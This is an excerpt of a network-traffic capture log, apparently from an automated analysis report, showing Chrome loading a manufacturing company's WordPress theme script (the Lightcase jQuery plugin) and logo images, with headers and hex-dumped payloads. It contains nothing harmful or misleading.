2024-10-07 12:10:15 UTC	686	OUT	GET /2016/wp-content/themes/twb_2016/assets/plugins/lightcase/lightcase.js?ver=20130115 HTTP/1.1 Host: www.twbcompany.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.twbcompany.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _ga=GA1.2.1314529000.1728303014; _gid=GA1.2.1855941040.1728303014; _gat=1
2024-10-07 12:10:16 UTC	269	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 12:10:16 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Wed, 27 Jan 2016 14:59:07 GMT Accept-Ranges: bytes Content-Length: 42720 Vary: Accept-Encoding Content-Type: application/javascript
2024-10-07 12:10:16 UTC	7923	IN	Data Raw: 2f 2a 0a 20 2a 20 4c 69 67 68 74 63 61 73 65 20 2d 20 6a 51 75 65 72 79 20 50 6c 75 67 69 6e 0a 20 2a 20 54 68 65 20 73 6d 61 72 74 20 61 6e 64 20 66 6c 65 78 69 62 6c 65 20 4c 69 67 68 74 62 6f 78 20 50 6c 75 67 69 6e 2e 0a 20 2a 0a 20 2a 20 40 61 75 74 68 6f 72 09 09 43 6f 72 6e 65 6c 20 42 6f 70 70 61 72 74 20 3c 63 6f 72 6e 65 6c 40 62 6f 70 70 2d 61 72 74 2e 63 6f 6d 3e 0a 20 2a 20 40 63 6f 70 79 72 69 67 68 74 09 41 75 74 68 6f 72 0a 20 2a 0a 20 2a 20 40 76 65 72 73 69 6f 6e 09 09 32 2e 31 2e 32 20 28 32 39 2f 30 39 2f 32 30 31 35 29 0a 20 2a 2f 0a 0a 3b 28 66 75 6e 63 74 69 6f 6e 20 28 24 29 20 7b 0a 09 77 69 6e 64 6f 77 2e 6c 69 67 68 74 63 61 73 65 20 3d 20 7b 0a 09 09 63 61 63 68 65 20 3a 20 7b 7d 2c 0a 0a 09 09 73 75 70 70 6f 72 74 20 3a 20 7b Data Ascii: /* * Lightcase - jQuery Plugin * The smart and flexible Lightbox Plugin. * * @authorCornel Boppart <cornel@bopp-art.com> * @copyrightAuthor * * @version2.1.2 (29/09/2015) */;(function ($) {window.lightcase = {cache : {},support : {
2024-10-07 12:10:16 UTC	8000	IN	Data Raw: 09 09 09 27 61 6c 74 27 20 3a 20 6c 69 67 68 74 63 61 73 65 2e 6f 62 6a 65 63 74 44 61 74 61 2e 74 69 74 6c 65 0a 09 09 09 09 09 7d 29 3b 0a 09 09 09 09 09 62 72 65 61 6b 3b 0a 09 09 09 09 63 61 73 65 20 27 69 6e 6c 69 6e 65 27 20 3a 0a 09 09 09 09 09 24 6f 62 6a 65 63 74 20 3d 20 24 28 27 3c 64 69 76 20 63 6c 61 73 73 3d 22 27 20 2b 20 6c 69 67 68 74 63 61 73 65 2e 73 65 74 74 69 6e 67 73 2e 63 6c 61 73 73 50 72 65 66 69 78 20 2b 20 27 69 6e 6c 69 6e 65 57 72 61 70 22 3e 3c 2f 64 69 76 3e 27 29 3b 0a 09 09 09 09 09 24 6f 62 6a 65 63 74 2e 68 74 6d 6c 28 6c 69 67 68 74 63 61 73 65 2e 63 6c 6f 6e 65 4f 62 6a 65 63 74 28 24 28 6c 69 67 68 74 63 61 73 65 2e 6f 62 6a 65 63 74 44 61 74 61 2e 75 72 6c 29 29 29 3b 0a 0a 09 09 09 09 09 2f 2f 20 41 64 64 20 63 75 Data Ascii: 'alt' : lightcase.objectData.title});break;case 'inline' :$object = $('<div class="' + lightcase.settings.classPrefix + 'inlineWrap"></div>');$object.html(lightcase.cloneObject($(lightcase.objectData.url)));// Add cu
2024-10-07 12:10:16 UTC	8000	IN	Data Raw: 78 48 65 69 67 68 74 29 20 26 26 20 21 6c 69 67 68 74 63 61 73 65 2e 73 65 74 74 69 6e 67 73 2e 66 6f 72 63 65 48 65 69 67 68 74 29 20 7b 0a 09 09 09 09 09 09 09 64 69 6d 65 6e 73 69 6f 6e 73 2e 6f 62 6a 65 63 74 48 65 69 67 68 74 20 3d 20 64 69 6d 65 6e 73 69 6f 6e 73 2e 6d 61 78 48 65 69 67 68 74 3b 0a 09 09 09 09 09 09 7d 0a 09 09 09 09 7d 0a 09 09 09 7d 0a 0a 09 09 09 6c 69 67 68 74 63 61 73 65 2e 61 64 6a 75 73 74 44 69 6d 65 6e 73 69 6f 6e 73 28 24 6f 62 6a 65 63 74 2c 20 64 69 6d 65 6e 73 69 6f 6e 73 29 3b 0a 09 09 7d 2c 0a 0a 09 09 2f 2a 2a 0a 09 09 20 2a 20 41 64 6a 75 73 74 73 20 74 68 65 20 64 69 6d 65 6e 73 69 6f 6e 73 0a 09 09 20 2a 0a 09 09 20 2a 20 40 70 61 72 61 6d 09 7b 6f 62 6a 65 63 74 7d 09 24 6f 62 6a 65 63 74 0a 09 09 20 2a 20 40 70 Data Ascii: xHeight) && !lightcase.settings.forceHeight) {dimensions.objectHeight = dimensions.maxHeight;}}}lightcase.adjustDimensions($object, dimensions);},/** * Adjusts the dimensions * * @param{object}$object * @p
2024-10-07 12:10:16 UTC	8000	IN	Data Raw: 09 09 09 09 24 70 6c 61 79 2e 63 6c 69 63 6b 28 66 75 6e 63 74 69 6f 6e 20 28 65 76 65 6e 74 29 20 7b 0a 09 09 09 09 09 09 65 76 65 6e 74 2e 70 72 65 76 65 6e 74 44 65 66 61 75 6c 74 28 29 3b 0a 09 09 09 09 09 09 6c 69 67 68 74 63 61 73 65 2e 73 74 61 72 74 54 69 6d 65 6f 75 74 28 29 3b 0a 09 09 09 09 09 7d 29 3b 0a 09 09 09 09 09 24 70 61 75 73 65 2e 63 6c 69 63 6b 28 66 75 6e 63 74 69 6f 6e 20 28 65 76 65 6e 74 29 20 7b 0a 09 09 09 09 09 09 65 76 65 6e 74 2e 70 72 65 76 65 6e 74 44 65 66 61 75 6c 74 28 29 3b 0a 09 09 09 09 09 09 6c 69 67 68 74 63 61 73 65 2e 73 74 6f 70 54 69 6d 65 6f 75 74 28 29 3b 0a 09 09 09 09 09 7d 29 3b 0a 09 09 09 09 7d 0a 09 09 09 09 0a 09 09 09 09 2f 2f 20 45 6e 61 62 6c 65 20 73 77 69 70 69 6e 67 20 69 66 20 61 63 74 69 76 61 Data Ascii: $play.click(function (event) {event.preventDefault();lightcase.startTimeout();});$pause.click(function (event) {event.preventDefault();lightcase.stopTimeout();});}// Enable swiping if activa
2024-10-07 12:10:16 UTC	8000	IN	Data Raw: 0a 09 09 09 09 09 7d 0a 09 09 09 09 7d 0a 0a 09 09 09 09 73 74 61 72 74 54 72 61 6e 73 69 74 69 6f 6e 5b 27 6f 70 61 63 69 74 79 27 5d 20 3d 20 73 74 61 72 74 4f 70 61 63 69 74 79 3b 0a 09 09 09 09 73 74 61 72 74 54 72 61 6e 73 69 74 69 6f 6e 5b 64 69 72 65 63 74 69 6f 6e 5d 20 3d 20 73 74 61 72 74 4f 66 66 73 65 74 3b 0a 0a 09 09 09 09 65 6e 64 54 72 61 6e 73 69 74 69 6f 6e 5b 27 6f 70 61 63 69 74 79 27 5d 20 3d 20 65 6e 64 4f 70 61 63 69 74 79 3b 0a 09 09 09 09 65 6e 64 54 72 61 6e 73 69 74 69 6f 6e 5b 64 69 72 65 63 74 69 6f 6e 5d 20 3d 20 65 6e 64 4f 66 66 73 65 74 3b 0a 0a 09 09 09 09 24 6f 62 6a 65 63 74 2e 63 73 73 28 73 74 61 72 74 54 72 61 6e 73 69 74 69 6f 6e 29 2e 73 68 6f 77 28 29 3b 0a 0a 09 09 09 09 2f 2f 20 43 73 73 20 74 72 61 6e 73 69 74 Data Ascii: }}startTransition['opacity'] = startOpacity;startTransition[direction] = startOffset;endTransition['opacity'] = endOpacity;endTransition[direction] = endOffset;$object.css(startTransition).show();// Css transit
2024-10-07 12:10:16 UTC	2797	IN	Data Raw: 65 2e 61 74 74 72 28 27 61 72 69 61 2d 68 69 64 64 65 6e 27 2c 20 27 74 72 75 65 27 29 3b 0a 0a 09 09 09 24 6e 61 76 2e 63 68 69 6c 64 72 65 6e 28 29 2e 68 69 64 65 28 29 3b 0a 0a 09 09 09 6c 69 67 68 74 63 61 73 65 2e 72 65 73 74 6f 72 65 53 63 72 6f 6c 6c 50 6f 73 69 74 69 6f 6e 28 29 3b 0a 09 09 09 0a 09 09 09 2f 2f 20 43 61 6c 6c 20 6f 6e 43 6c 6f 73 65 20 68 6f 6f 6b 20 66 75 6e 63 74 69 6f 6e 73 0a 09 09 09 6c 69 67 68 74 63 61 73 65 2e 63 61 6c 6c 48 6f 6f 6b 73 28 6c 69 67 68 74 63 61 73 65 2e 73 65 74 74 69 6e 67 73 2e 6f 6e 43 6c 6f 73 65 29 3b 0a 0a 09 09 09 73 77 69 74 63 68 20 28 6c 69 67 68 74 63 61 73 65 2e 73 65 74 74 69 6e 67 73 2e 74 72 61 6e 73 69 74 69 6f 6e 4f 75 74 29 20 7b 0a 09 09 09 09 63 61 73 65 20 27 66 61 64 65 27 20 3a 0a 09 Data Ascii: e.attr('aria-hidden', 'true');$nav.children().hide();lightcase.restoreScrollPosition();// Call onClose hook functionslightcase.callHooks(lightcase.settings.onClose);switch (lightcase.settings.transitionOut) {case 'fade' :

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.5	49773	192.185.125.111	443	1772	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 12:10:15 UTC	745	OUT	GET /2016/wp-content/themes/twb_2016/assets/images/logos/worthington-industries-v3.png HTTP/1.1 Host: www.twbcompany.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.twbcompany.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _ga=GA1.2.1314529000.1728303014; _gid=GA1.2.1855941040.1728303014; _gat=1
2024-10-07 12:10:16 UTC	232	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 12:10:16 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Thu, 04 Jan 2024 22:28:38 GMT Accept-Ranges: bytes Content-Length: 4541 Content-Type: image/png
2024-10-07 12:10:16 UTC	4541	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 e9 00 00 00 33 08 06 00 00 00 72 92 2f aa 00 00 00 19 74 45 58 74 53 6f 66 74 77 61 72 65 00 41 64 6f 62 65 20 49 6d 61 67 65 52 65 61 64 79 71 c9 65 3c 00 00 03 9d 69 54 58 74 58 4d 4c 3a 63 6f 6d 2e 61 64 6f 62 65 2e 78 6d 70 00 00 00 00 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 39 2e 31 2d 63 30 30 31 20 37 39 2e 31 34 36 32 38 39 39 37 37 37 2c 20 32 30 32 33 2f 30 36 2f 32 35 2d 32 33 3a 35 37 3a Data Ascii: PNGIHDR3r/tEXtSoftwareAdobe ImageReadyqe<iTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 9.1-c001 79.1462899777, 2023/06/25-23:57:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.2.5	49774	192.185.125.111	443	1772	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 12:10:16 UTC	713	OUT	GET /2016/wp-content/uploads/2019/05/baosteeldark2.png HTTP/1.1 Host: www.twbcompany.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.twbcompany.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _ga=GA1.2.1314529000.1728303014; _gid=GA1.2.1855941040.1728303014; _gat=1
2024-10-07 12:10:16 UTC	232	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 12:10:16 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Mon, 13 May 2019 07:49:36 GMT Accept-Ranges: bytes Content-Length: 6215 Content-Type: image/png
2024-10-07 12:10:16 UTC	6215	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 01 c7 00 00 00 63 08 06 00 00 00 ee 06 cb fe 00 00 00 06 62 4b 47 44 00 00 00 00 00 00 f9 43 bb 7f 00 00 00 09 70 48 59 73 00 00 2e 23 00 00 2e 23 01 78 a5 3f 76 00 00 00 07 74 49 4d 45 07 e3 05 0d 07 31 0c ac 2a c9 3d 00 00 00 19 74 45 58 74 43 6f 6d 6d 65 6e 74 00 43 72 65 61 74 65 64 20 77 69 74 68 20 47 49 4d 50 57 81 0e 17 00 00 17 af 49 44 41 54 78 da ed 5d 5f 88 24 c7 7d fe f6 72 84 3c 45 13 25 f8 29 f8 e6 12 10 71 08 ba d9 04 12 08 39 dd 8c c1 24 0e 21 37 6b b0 f2 e7 e5 7a 2c e4 c3 0f f6 ee 5a d8 41 b5 d0 37 db e1 ca 09 89 b5 b7 f8 21 f6 85 64 67 fd 12 90 82 76 2f 6f 16 31 3b a7 83 40 04 d1 8d 50 12 02 7e b8 96 71 44 02 41 19 eb 31 0f da 3c f4 6f a4 d1 dc f4 4c 55 75 d5 4c f7 cc f7 c1 61 90 7b Data Ascii: PNGIHDRcbKGDCpHYs.#.#x?vtIME1*=tEXtCommentCreated with GIMPWIDATx]_$}r<E%)q9$!7kz,ZA7!dgv/o1;@P~qDA1<oLUuLa{

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.2.5	49775	192.185.125.111	443	1772	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 12:10:16 UTC	716	OUT	GET /2016/wp-content/uploads/2015/09/hot-formed-thumb.jpg HTTP/1.1 Host: www.twbcompany.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.twbcompany.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _ga=GA1.2.1314529000.1728303014; _gid=GA1.2.1855941040.1728303014; _gat=1
2024-10-07 12:10:16 UTC	234	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 12:10:16 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Wed, 27 Jan 2016 14:53:34 GMT Accept-Ranges: bytes Content-Length: 39618 Content-Type: image/jpeg
2024-10-07 12:10:16 UTC	7958	IN	Data Raw: ff d8 ff e1 00 18 45 78 69 66 00 00 49 49 2a 00 08 00 00 00 00 00 00 00 00 00 00 00 ff ec 00 11 44 75 63 6b 79 00 01 00 04 00 00 00 32 00 00 ff e1 03 81 68 74 74 70 3a 2f 2f 6e 73 2e 61 64 6f 62 65 2e 63 6f 6d 2f 78 61 70 2f 31 2e 30 2f 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 35 2e 36 2d 63 30 36 37 20 37 39 2e 31 35 37 37 34 37 2c 20 32 30 31 35 2f 30 33 2f 33 30 2d 32 33 3a 34 30 3a 34 32 20 20 20 20 20 20 20 20 22 3e 20 3c 72 64 66 3a 52 44 46 20 78 6d Data Ascii: ExifII*Ducky2http://ns.adobe.com/xap/1.0/<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c067 79.157747, 2015/03/30-23:40:42 "> <rdf:RDF xm
2024-10-07 12:10:16 UTC	8000	IN	Data Raw: fe d8 cb 8c 43 20 75 db 71 ba 53 8c 78 16 4b 52 78 f0 3a 25 e4 3c e9 8e 49 bf c2 91 90 02 74 d4 4c e5 5b 4f 3f 0b 02 47 fb 8f 8c 72 3a a1 45 a2 34 c5 00 e3 03 1a ce a8 3f 1a 1a d4 07 74 f8 50 1b 22 89 24 0e 84 e9 33 40 6c 28 04 f5 03 59 72 ee 45 4d 41 3d 2f 54 0e 2a 83 5e 80 d5 cc 52 04 2f 1c 7a 03 af ca 8d 31 3b 1a 55 27 e9 01 b2 2a ea c4 08 be 63 4b b1 26 68 d4 b5 05 62 c5 0b 62 e5 34 9f 90 58 6e a6 b6 65 cb 8e 17 70 99 cd 88 0d de 6e 7e 1a d2 85 b9 d2 94 ed f8 ae f6 9d 73 34 a3 db 69 f2 2e b9 f8 0a f4 3c 6f 19 e8 ae 42 10 13 7d cc 83 c8 ce ac c0 a0 2c 40 a9 88 ec 2e e5 dc 5e a5 be cc 4b e9 f7 0f 1f b3 5a d9 c0 fe df c2 ed a9 99 dc b2 9a 1e 07 a1 84 86 81 e3 75 26 9e c3 fe df cb c9 78 97 2f 27 80 fe 08 9a 9f f7 c8 a7 ec ad cc 6e cb db b1 9c 24 10 89 65 Data Ascii: C uqSxKRx:%<ItL[O?Gr:E4?tP"$3@l(YrEMA=/T^R/z1;U'cK&hbb4Xnepn~s4i.<oB},@.^KZu&x/'n$e
2024-10-07 12:10:16 UTC	8000	IN	Data Raw: 7f f8 83 6a 92 e6 60 00 be f2 37 c4 0f bd a4 d5 83 19 26 b1 fb 9b dd 11 7e 35 4c 86 b0 b4 07 c4 03 41 69 73 00 01 5a 0d fc eb 81 4b e3 ca cf 6b 98 43 d7 2e 34 3b d4 98 73 f1 dd fe 8b df 2a 6a 1a d2 9f 35 4a 1e 5c dc f8 8e 01 85 2e 5c e5 3f 26 7e da a4 2d 8a 36 f1 0d 56 05 e2 01 4d ca 1a b8 c3 9f 29 e0 63 b7 99 02 e1 40 b5 6d aa 92 4f b4 0e a6 0f 16 61 4b ee 27 a0 de 17 b7 e1 cb 94 48 8c b9 c4 05 40 43 1a 9f 0b fd b5 47 81 1b b8 b1 81 ae d0 90 14 af 9d cd 7b 94 b8 ae 2c 0e 2c 7b 55 a4 34 f4 b1 b8 a9 c6 c9 11 49 cd c1 7a 7e ea 02 5e d9 c5 30 af 68 ff 00 78 60 20 0a 86 d4 df b8 9f e5 06 e3 23 4f 17 82 0e a8 6d 41 56 b4 12 e2 ae 69 40 de a0 dc 1a 6f 26 71 39 0f 21 18 d5 b9 f1 a4 23 71 96 63 c5 bc 8b c8 01 a3 c2 c0 01 4c c7 c9 94 16 14 7a 88 bc bc 54 d2 9b 1d Data Ascii: j`7&~5LAisZKkC.4;s*j5J\.\?&~-6VM)c@mOaK'H@CG{,,{U4Iz~^0hx` #OmAVi@o&q9!#qcLzT
2024-10-07 12:10:16 UTC	8000	IN	Data Raw: 16 ba fc a9 39 72 9c ae 02 a8 55 8f 4c 25 12 dd 89 3d a4 2b 58 2f ad 0d f2 17 5a aa 02 eb 73 b0 a2 00 51 34 f0 ac 0a 07 ac d9 56 82 a6 eb e7 44 6b 6d a9 f2 a8 04 02 89 7e 95 76 87 95 e2 db 7d f5 c6 68 97 69 70 21 df e2 d4 66 b8 a6 b4 26 b2 54 fa 4e a8 2d f8 55 8b 5c df a9 a9 d6 84 80 7b 43 10 96 df 4d c5 11 09 fd 82 82 d9 10 a1 2b f6 d1 41 ba f5 da 80 82 21 08 56 d9 c3 a8 de b4 71 11 ac 72 14 f4 9e 2e f3 1d 2b 35 b6 4d bc 7a f9 53 98 e4 27 0e ba d2 72 8b 58 dc 7b c2 e1 37 1b 3a 51 14 c0 38 34 73 43 d4 68 7e 75 b1 0e 33 20 6f 16 b8 15 dc d6 0e 06 3c f8 b9 ee 71 0b 14 8d 2d 0f d8 1b 38 69 5b 1c 88 de a5 f2 14 f2 a5 7f 69 00 d7 49 47 8c 1b 81 e4 28 de bf 68 cf 26 b7 53 48 66 66 b4 7a 5a 47 87 8d 0b 23 2c 37 d0 cb b8 8b d6 79 71 24 9d 96 e7 70 6b b1 78 fa f2 Data Ascii: 9rUL%=+X/ZsQ4VDkm~v}hip!f&TN-U\{CM+A!Vqr.+5MzS'rX{7:Q84sCh~u3 o<q-8i[iIG(h&SHffzZG#,7yq$pkx
2024-10-07 12:10:16 UTC	7660	IN	Data Raw: e2 50 86 fb 46 f8 ea dc ec 6c 37 9a 5c 94 a6 ab 6f 1a 65 a4 58 74 a0 46 db 7f 30 b5 f6 34 f4 30 87 07 3e 44 64 6d 42 e7 92 80 57 9a e4 09 e9 a0 27 68 36 11 60 d5 23 a7 95 49 29 b0 be fb de ae ec fe df 17 a6 36 ba 55 b1 76 9f 7d eb c6 7c 6c 85 74 5a 36 dc 48 d3 e1 41 ee dc a9 03 b9 85 ec d8 3a 93 d8 48 6f 86 a6 e3 6a b7 14 26 c5 7a fe ca 18 1a db cf 64 ab 7d 56 27 6f 2a e3 38 4b 97 05 44 f0 3f 0f 1a f0 05 c1 05 d7 41 fb eb cc e4 4a 0b 93 67 5b 6a 7b 1b 11 a5 bc dd 66 85 2a ea 5b b8 51 66 10 17 03 0c 61 bf d4 90 86 b4 7a 89 3d 29 1f ee 1c d7 8c 4c 77 61 a0 6b 5e 41 91 2f 71 d2 83 9b 9e fc a9 84 71 9e 38 ed b0 1d 7f 99 c9 46 89 b8 d9 70 7e 9a 73 c5 be 69 7f 0a 6a 63 e0 c9 97 20 ba 37 c7 b0 fe 70 80 f9 11 f1 29 a2 c2 81 db 51 1c fe df 73 df da e3 7c 8f 32 39 Data Ascii: PFl7\oeXtF040>DdmBW'h6`#I)6Uv}\|ltZ6HA:Hoj&zd}V'o8KD?AJg[j{f[Qfaz=)Lwak^A/qq8Fp~sijc 7p)Qs\|29

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
51	192.168.2.5	49778	192.185.125.111	443	1772	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 12:10:16 UTC	492	OUT	GET /2016/wp-content/themes/twb_2016/assets/images/logos/iso-ts16949.png HTTP/1.1 Host: www.twbcompany.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _ga=GA1.2.1314529000.1728303014; _gid=GA1.2.1855941040.1728303014; _gat=1
2024-10-07 12:10:16 UTC	233	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 12:10:16 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Wed, 27 Jan 2016 14:59:05 GMT Accept-Ranges: bytes Content-Length: 34669 Content-Type: image/png
2024-10-07 12:10:16 UTC	7959	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 e8 00 00 00 f0 08 06 00 00 00 0a 2c 28 8e 00 00 00 19 74 45 58 74 53 6f 66 74 77 61 72 65 00 41 64 6f 62 65 20 49 6d 61 67 65 52 65 61 64 79 71 c9 65 3c 00 00 03 16 69 54 58 74 58 4d 4c 3a 63 6f 6d 2e 61 64 6f 62 65 2e 78 6d 70 00 00 00 00 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 35 2e 36 2d 63 30 36 37 20 37 39 2e 31 35 37 37 34 37 2c 20 32 30 31 35 2f 30 33 2f 33 30 2d 32 33 3a 34 30 3a 34 32 20 20 Data Ascii: PNGIHDR,(tEXtSoftwareAdobe ImageReadyqe<iTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c067 79.157747, 2015/03/30-23:40:42
2024-10-07 12:10:16 UTC	8000	IN	Data Raw: f9 11 63 20 b7 49 52 8e 43 24 29 35 32 e3 e0 ee b9 80 73 cc d0 b1 d7 98 c5 fa e9 26 12 96 b5 34 a1 5b 25 29 4e 66 d0 d7 08 9a 63 24 69 c5 fe 64 82 8a e2 14 6a 27 ee 43 97 56 fe 00 03 53 09 bc af 16 f0 90 8d 80 b7 eb e4 45 eb ce ab d5 03 2c 73 5d d2 ad 29 72 ce 93 7b 8f ee 0d 02 c7 c1 4c 3c fd 1c cb 16 c7 61 5c ee 05 34 74 b5 a4 5b 09 da 16 40 db 04 7f 1a e6 70 2d a1 92 2a 09 7d 99 8c d7 1a 22 01 ad 1e 95 ce dd 8f dc 78 b0 f1 9d 03 61 f4 48 9a 3f 5b 86 db 00 43 b2 16 31 e8 24 d6 51 77 3a 66 98 d9 f8 21 f0 23 eb 03 3a 53 df 17 14 b4 44 30 94 63 52 8d 9f ee 4f 50 96 b3 4f b8 cc e5 e7 31 e9 b1 24 fb 0b 47 30 c0 63 78 9d 97 29 9e ef d6 e3 58 21 32 58 2f 7b 01 ae 31 41 82 e4 63 e6 31 f2 a0 63 10 a2 6b 70 7f 0f 41 2c 3a eb 94 46 88 5c 51 e1 d5 6a 09 5a 3e f3 48 Data Ascii: c IRC$)52s&4[%)Nfc$idj'CVSE,s])r{L<a\4t[@p-*}"xaH?[C1$Qw:f!#:SD0cROPO1$G0cx)X!2X/{1Ac1ckpA,:F\QjZ>H
2024-10-07 12:10:16 UTC	8000	IN	Data Raw: 80 45 cc 50 7c 64 42 af c2 74 2d 84 9e 17 ae b3 ee 79 7a 19 e3 e6 69 bc ef 89 f8 49 95 ea bf a4 d5 27 74 2b ce aa 9b 9b 9c 53 ce 88 94 33 27 c9 f2 82 55 ac cf 92 a0 f6 aa ae 92 ad b3 7e 53 da b7 e4 45 60 53 7f d1 3c ff a3 79 9e 45 46 2f 27 fd 29 1b c3 cb 3b 79 10 69 a3 80 af 21 d8 ed 37 ab 2f 75 98 67 ca 99 a5 b8 d6 be fb 71 0b 7d 38 72 02 30 42 f1 46 59 92 f6 f0 f3 9d 91 b4 57 0d c8 48 ff 6a ba 70 bf 13 4f ec 30 cc 32 81 ff 1b 41 4b 66 70 33 4b 74 bf 3e 75 d0 bc da ad 01 0d 2f 97 56 4e ef c7 9a e7 63 a4 95 10 c0 10 39 a2 38 94 b3 63 0c f5 7c 01 f1 a0 1f ff 5e c6 80 55 82 b4 c3 8e e8 9a c0 6b ba 16 fc 1b 1a eb b8 4f 06 7a be aa 11 91 b4 af 6d 67 3a cc cd 52 1a 90 9c b4 f7 fa f9 f7 2e d0 69 aa 2f a2 79 18 83 b7 5b a5 bb c5 da 7a 07 eb d4 cf 8a 01 99 c0 bd Data Ascii: EP\|dBt-yziI't+S3'U~SE`S<yEF/');yi!7/ugq}8r0BFYWHjpO02AKfp3Kt>u/VNc98c\|^UkOzmg:R.i/y[z
